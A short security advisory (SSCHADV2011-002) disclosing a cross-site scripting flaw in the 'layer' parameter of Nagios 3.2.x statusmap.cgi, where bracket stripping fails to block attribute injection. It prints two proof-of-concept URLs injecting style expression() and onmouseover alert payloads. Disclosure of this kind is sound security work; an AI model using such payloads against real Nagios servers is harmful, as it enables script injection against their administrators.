Advisory: Cross-Site Scripting vulnerability in Nagios
Advisory ID: SSCHADV2011-002
Author: Stefan Schurtz
Affected Software: Successfully tested on: nagios-3.2.0 / nagios-3.2.3
Vendor URL: http://www.nagios.org
Vendor Status: ID 0000207: Cross-Site Scripting vulnerability in Nagios
CVE-ID: -

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Vulnerability Description:

This is Cross-Site Scripting vulnerability

JavaScript can be included in style sheets by using "expression()" (IE only)

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Technical Details:

The function "strip_html_brackets" strip > and < from string but it's not enough
to prevent XSS attacks in "statusmap.cgi&layer="

http://site/nagios/cgi-bin/statusmap.cgi?layer=&#39;
style=xss:expression(alert('XSS')) '
http://site/nagios/cgi-bin/statusmap.cgi?layer=&#39; onmouseover="alert('XSS')" '

cgiutils.c

[schnipp]